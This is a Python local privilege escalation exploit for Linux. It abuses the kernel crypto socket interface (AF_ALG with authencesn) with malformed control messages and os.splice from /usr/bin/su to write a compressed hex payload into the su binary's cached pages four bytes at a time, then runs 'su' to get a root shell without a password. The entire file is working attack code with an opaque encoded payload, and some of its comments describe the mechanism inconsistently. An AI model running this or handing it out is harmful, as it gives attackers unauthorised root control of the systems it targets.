#!/usr/bin/env python3
import os
import zlib
import socket

# Helper to convert hex strings to byte arrays
def hex_to_bytes(hex_str):
    return bytes.fromhex(hex_str)

def trigger_kernel_corruption(target_file, offset, payload_chunk):
    # AF_ALG (38) is the Linux Kernel Crypto API socket domain
    # SOCK_SEQPACKET (5) is the socket type
    alg_socket = socket.socket(38, 5, 0)
    
    # Bind to a specific AEAD (Authenticated Encryption with Associated Data) cipher
    # This specific cipher combination is often used to target memory flaws in the kernel
    alg_socket.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    
    # Socket option constants
    SOL_ALG = 279
    ALG_SET_KEY = 1
    ALG_SET_AEAD_AUTHSIZE = 5
    
    # 1. Set the crypto key (malformed to trigger heap issues)
    key_data = hex_to_bytes('0800010000000010' + '0' * 64)
    alg_socket.setsockopt(SOL_ALG, ALG_SET_KEY, key_data)
    
    # 2. Set the authentication tag size
    alg_socket.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
    
    # Accept the connection to the crypto transform
    op_socket, _ = alg_socket.accept()
    
    # Construct the malicious control message (ancillary data)
    # This targets the internal kernel buffers by providing inconsistent lengths
    null_byte = hex_to_bytes('00')
    msg_control = [
        (SOL_ALG, 3, null_byte * 4),  # ALG_SET_IV
        (SOL_ALG, 2, b'\x10' + null_byte * 19), # ALG_SET_OP
        (SOL_ALG, 4, b'\x08' + null_byte * 3),  # ALG_SET_AEAD_ASSOCLEN
    ]
    
    # Send the payload chunk to the kernel
    op_socket.sendmsg([b"A" * 4 + payload_chunk], msg_control, 0, 32768)
    
    # Use os.splice to move data from the target binary (su) into the socket
    # This bypasses standard user-space memory protections
    pipe_read, pipe_write = os.pipe()
    
    # Splice from file to pipe
    os.splice(target_file.fileno(), pipe_write, offset + 4, offset_src=0)
    # Splice from pipe to the exploit socket
    os.splice(pipe_read, op_socket.fileno(), offset + 4)
    
    try:
        # Attempt to receive the result of the "crypto" operation
        op_socket.recv(8 + offset)
    except Exception:
        pass

# --- Main Execution ---

# Open /usr/bin/su in read-only mode
su_binary = os.open("/usr/bin/su", os.O_RDONLY)

# Decompress the binary payload (the shellcode/memory overwrite data)
compressed_payload = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
payload_bytes = zlib.decompress(hex_to_bytes(compressed_payload))

# Loop through the payload, spraying it into the kernel memory 4 bytes at a time
current_offset = 0
while current_offset < len(payload_bytes):
    chunk = payload_bytes[current_offset : current_offset + 4]
    trigger_kernel_corruption(su_binary, current_offset, chunk)
    current_offset += 4

# If the exploit succeeded, the kernel has been tricked into thinking 
# the current process has root privileges.
# Executing 'su' now should drop into a root shell without a password.
os.system("su")